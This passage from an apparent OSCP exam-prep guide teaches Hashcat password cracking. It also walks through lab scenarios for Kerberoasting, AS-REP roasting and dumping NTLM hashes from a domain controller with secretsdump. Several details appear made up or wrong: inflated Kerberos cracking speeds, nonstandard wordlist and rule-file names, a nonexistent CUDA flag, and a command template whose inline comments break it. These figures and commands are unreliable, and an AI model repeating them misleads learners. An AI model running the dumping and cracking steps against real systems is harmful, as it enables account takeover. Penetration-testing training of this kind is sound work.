ls ~/.local/share/hashcat/sessions/

# Delete a session (start fresh)
rm -rf ~/.local/share/hashcat/sessions/my-attack-1

Multi-GPU Setup

If your system has multiple GPUs, Hashcat can use all of them:

# List available devices
hashcat -I

# Use specific GPUs (e.g., devices 1 and 2)
hashcat -m 13100 hashes.txt wordlist.txt -O --devices 1,2

# Use all devices (default behavior)
hashcat -m 13100 hashes.txt wordlist.txt -O

# Force OpenCL (for AMD GPUs or specific NVIDIA setups)
hashcat -m 13100 hashes.txt wordlist.txt -O --opencl-device-types 1

# Force CUDA (for NVIDIA GPUs)
hashcat -m 13100 hashes.txt wordlist.txt -O --cuda-device 1

Potfile Management

Hashcat stores cracked passwords in the potfile (~/.local/share/hashcat/hashcat.potfile). This is your cracked password database.

# Show all cracked passwords for a hash file
hashcat -m 13100 hashes.txt --show

# Potfile location
cat ~/.local/share/hashcat/hashcat.potfile

# Clear the potfile (start fresh)
> ~/.local/share/hashcat/hashcat.potfile

# Remove already-cracked hashes from input
hashcat -m 13100 hashes.txt wordlist.txt -O --remove

# After --remove, only uncracked hashes remain in the input file

Brain Feature (Advanced)

Hashcat’s Brain feature shares hash computation across sessions, preventing redundant work when attacking the same passwords with different rules or wordlists.

# Start Brain server
hashcat --brain-server

# Connect to Brain
hashcat --brain-client 127.0.0.1:60000

# Enable Brain for a session
hashcat -m 13100 hashes.txt wordlist.txt -O \
    --brain-server 127.0.0.1:60000 \
    --brain-share-patterns --brain-workload 50

Note: Brain is powerful but complex. For OSCP purposes, session management and --remove are more practical.

Performance Benchmarking

Before starting a serious cracking session, benchmark your GPU:

# Benchmark NTLM (mode 1000)
hashcat -m 1000 -b

# Benchmark Kerberos TGS RC4 (mode 13100)
hashcat -m 13100 -b

# Benchmark all common modes
hashcat -m 1000 -b
hashcat -m 13100 -b
hashcat -m 18200 -b
hashcat -m 5600 -b
hashcat -m 7500 -b

Expected speeds on OSCP attack box (Kali with NVIDIA GPU):

  • NTLM (1000): ~200-400 GH/s
  • TGS RC4 (13100): ~150-300 GH/s
  • AS-REP RC4 (18200): ~150-250 GH/s
  • NetNTLMv2 (5600): ~200-350 GH/s
  • TGS AES (19600): ~2-5 GH/s (much slower!)

Complete Optimization Checklist

# THE OPTIMAL COMMAND TEMPLATE for OSCP:

hashcat -m <MODE> <HASH_FILE> <WORDLIST> \
    -O                          # Optimized kernel (ALWAYS include if supported) \
    -w 3                        # Heavyweight work profile \
    --session <NAME>            # Named session for resume \
    --status --status-timer=30  # Show progress every 30 seconds \
    --remove                     # Remove cracked hashes (for batch cracking) \
    [-r <RULE_FILE>]            # Rule file (optional)

# Example — the command you'll use most:
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt \
    -O -w 3 --session kerb-roast --status --status-timer=30

OSCP Exam Relevance: ⭐⭐⭐⭐ Optimization isn’t just about speed — it’s about not wasting exam time. A well-optimized Hashcat command with -O -w 3 --session can crack a password in minutes instead of hours. Always use -O and always name your sessions.


Wordlists and Rule Files Reference

Essential Wordlists (Pre-installed on Kali)

Wordlist Path Size Best For
rockyou.txt /usr/share/wordlists/rockyou.txt 14.3M words Primary wordlist — use this first, always
rockyou.txt.dna4x /usr/share/wordlists/rockyou.txt.dna4x ~30M words Extended rockyou with common mutations
weakpass.txt /usr/share/wordlists/weakpass.txt ~10K words Quick check for very weak passwords
common-usernames.txt /usr/share/wordlists/common-usernames.txt ~5K names Username spraying, combinator attacks
discovery/web-content/… /usr/share/wordlists/dirb/ Various Web-specific passwords
oscar-small.txt /usr/share/wordlists/oscar-small.txt ~3K words Quick test

Essential Rule Files (Pre-installed on Kali)

Rule File Path Rules Speed Coverage
best64.rule /usr/share/hashcat/rules/best64.rule 64 Very fast Common patterns
one33333333.rule /usr/share/hashcat/rules/one33333333.rule ~1M Slow Very thorough
d3ad0ne.rule /usr/share/hashcat/rules/d3ad0ne.rule ~1M Slow Alternative thorough
rule3zie.rule /usr/share/hashcat/rules/rule3zie.rule ~1M Slow Aggressive mutations
T00LS.txt /usr/share/hashcat/rules/T00LS.txt ~20K Fast Policy-compliant passwords

Creating Custom Wordlists for OSCP

One of the most effective cracking strategies is creating a target-specific wordlist:

# Extract potential passwords from the target environment
# Company name variations
echo -e "OffSec\noffsec\nOFFSEC\nOffsec2024\nOffsec123\nOffsec!@#" > custom_wordlist.txt

# Service names
echo -e "SQLServer\nsqlserver\nSvcSQL\nsqlservice" >> custom_wordlist.txt

# Domain name variations
echo -e "OFFSEC\nOffSec\noffsec\nOffSec2024\nOffSec@123" >> custom_wordlist.txt

# Combine with rockyou
cat custom_wordlist.txt /usr/share/wordlists/rockyou.txt > combined_wordlist.txt

# Crack with custom wordlist first
hashcat -m 13100 tgs_hashes.txt combined_wordlist.txt -O -w 3 \
    --session custom-first --status --status-timer=30

Attack Mode Quick Reference

Mode Flag Description Example
0 -a 0 (default) Dictionary / Wordlist hashcat -m 1000 h.txt w.txt -a 0
1 -a 1 Combinator (two wordlists) hashcat -m 1000 h.txt w1.txt w2.txt -a 1
3 -a 3 Brute-force / Mask hashcat -m 1000 h.txt ?u?l?l?d -a 3
6 -a 6 Dictionary + Mask (append) hashcat -m 1000 h.txt w.txt -a 6 ?d?d
7 -a 7 Mask + Dictionary (prepend) hashcat -m 1000 h.txt w.txt -a 7 ?d?d

Lab Practice Suggestions

Practice Scenario 1: Kerberoasting End-to-End

Setup: Use a HackTheBox machine with AD (e.g., Active Directory machines) or build a lab with Metasploitable AD.

Steps:

  1. Gain a low-privilege domain user account.
  2. Enumerate SPNs: python3 GetUserSPNs.py DOMAIN/user:pass -dc-ip <DC_IP>
  3. Request TGS tickets: python3 GetUserSPNs.py DOMAIN/user:pass -request -dc-ip <DC_IP> > tgs.txt
  4. Identify hash type: head -1 tgs.txt
  5. Crack with Hashcat: hashcat -m 13100 tgs.txt rockyou.txt -O -w 3 --session lab1
  6. Use cracked password to access the service.

Practice Scenario 2: NTLM Hash Cracking Marathon

Setup: Use secretsdump.py on a lab machine to dump multiple NTLM hashes.

Steps:

  1. Dump hashes: python3 secretsdump.py DOMAIN/admin:pass@<DC_IP> -outputfile hashes
  2. Crack with dictionary: hashcat -m 1000 hashes.ntds rockyou.txt -O --remove --session ntlm-dict
  3. On remaining: hashcat -m 1000 hashes.ntds rockyou.txt -r best64.rule -O --session ntlm-rules
  4. On remaining: Try mask attacks based on observed patterns.
  5. Time yourself — how fast can you crack all crackable hashes?

Practice Scenario 3: AS-REP Roasting

Setup: Find or create an account with pre-authentication disabled.

Steps:

  1. Enumerate: python3 GetNPUsers.py DOMAIN/ -usersfile targets.txt -format hashcat -outputfile asreproast.txt
  2. Crack: hashcat -m 18200 asreproast.txt rockyou.txt -O -w 3 --session asrep-lab
  3. Practice with both RC4 (mode 18200) and AES (modes 19100/19200) formats.

Practice Scenario 4: Hashcat Command Mastery

Drill: Time yourself executing these commands from memory:

  1. Crack NTLM with rockyou: hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt -O
  2. Crack TGS RC4 with rules: hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -O
  3. Crack AS-REP RC4: hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt -O
  4. Mask attack: hashcat -m 1000 hash.txt ?u?l?l?l?d?d -a 3 -O
  5. Restore session: hashcat --restore

Troubleshooting Guide

Hashcat Won’t Start / GPU Not Detected

# Check GPU detection
hashcat -I

# If no GPU shown, check drivers
nvidia-smi

# On Kali, ensure NVIDIA drivers are installed
# If using the OSCP attack box, the GPU should work out of the box

# Force CUDA
hashcat -m 1000 hash.txt wordlist.txt --force

# If still failing, try CPU-only (slow but works)
hashcat -m 1000 hash.txt wordlist.txt --cpu-only

Hashcat Says “Invalid Hash”

# Verify hash format
cat hash.txt | head -5

# For NTLM, ensure it's the right format:
# Valid: username:1000:8a0c663a9a33b4352d4b138a30c7e8a4:aad3b435b51404eeaad3b435b51404ee:::
# Valid: 8a0c663a9a33b4352d4b138a30c7e8a4
# Invalid: NT::8a0c663a9a33b4352d4b138a30c7e8a4 (this is Mimikatz display format, not Hashcat format)

# Clean Mimikatz output for Hashcat:
# If you have "NT::hash" format, extract just the hash:
grep -oP '[0-9a-f]{32}' mimikatz_output.txt > clean_hashes.txt

Speed Is Too Slow

# Check current speed
hashcat -m 13100 hash.txt wordlist.txt -O --status

# If speed is low:
# 1. Ensure -O flag is used (if mode supports it)
# 2. Try -w 3 or -w 4
# 3. Check GPU temperature (throttling?)
# 4. Close other GPU-intensive applications

# Compare with benchmark
hashcat -m 13100 -b

Session Restoration Fails

# Clean slate approach
rm -rf ~/.local/share/hashcat/sessions/*
rm ~/.local/share/hashcat/hashcat.potfile

# Start fresh
hashcat -m 13100 hash.txt wordlist.txt -O --session fresh-start

Summary Cheat Sheet

Must-Memorize Hashcat Modes for OSCP

Mode Hash Type When You’ll See It
1000 NTLM After DCSync, Mimikatz dump, SAM extraction
13100 Kerberos TGS (RC4) After Kerberoasting (most common)
18200 Kerberos AS-REP (RC4) After AS-REP Roasting
5600 NetNTLMv2 After SMB relay, Responder capture
7500 Kerberos TGT (RC4) After TGT extraction (krbtgt cracking)
19600 Kerberos TGS (AES) After Kerberoasting (modern domains, slower)

Must-Memorize Commands

# The three commands you'll use 90% of the time:

# 1. Crack NTLM hash
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt -O

# 2. Crack Kerberoast (TGS RC4)
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -O

# 3. Crack AS-REP Roast (RC4)
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt -O

# Add rules when dictionary alone fails:
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule -O

The Golden Rules of Hash Cracking on OSCP

  1. Always use -O (optimized kernel) for supported modes.
  2. Always name your sessions with --session.
  3. Always start with rockyou.txt before trying complex attacks.
  4. Prioritize RC4 hashes over AES — they crack 50-100x faster.
  5. Use --remove when cracking multiple hashes to automatically filter cracked ones.
  6. Create custom wordlists from target-specific information (company name, domain, service names).
  7. Know your modes by heart — don’t waste exam time looking them up.
  8. If a hash doesn’t crack, move on — not every password is crackable, and exam time is limited.